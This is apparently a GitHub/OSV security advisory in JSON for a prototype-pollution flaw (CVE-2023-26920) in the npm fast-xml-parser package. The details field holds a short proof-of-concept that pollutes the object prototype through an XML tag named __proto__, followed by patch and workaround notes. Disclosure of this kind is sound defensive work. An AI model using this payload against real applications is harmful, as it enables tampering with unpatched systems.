{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-13T12:44:34Z",
    "nvd_published_at": "2023-12-12T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAs a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name.\n\n```js\nconst { XMLParser, XMLBuilder, XMLValidator} = require(\"fast-xml-parser\");\n\nlet XMLdata = \"\u003c__proto__\u003e\u003cpolluted\u003ehacked\u003c/polluted\u003e\u003c/__proto__\u003e\"\n\nconst parser = new XMLParser();\nlet jObj = parser.parse(XMLdata);\n\nconsole.log(jObj.polluted) // should return hacked\n``` \n\n### Patches\nThe problem has been patched in v4.1.2\n\n### Workarounds\nUser can check for \"__proto__\" in the XML string before parsing it to the parser.\n\n### References\nhttps://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7\n",
  "id": "GHSA-x3cc-x39p-42qx",
  "modified": "2023-12-14T22:27:59Z",
  "published": "2023-06-13T12:44:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-793h-6f7r-6qvm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name"
}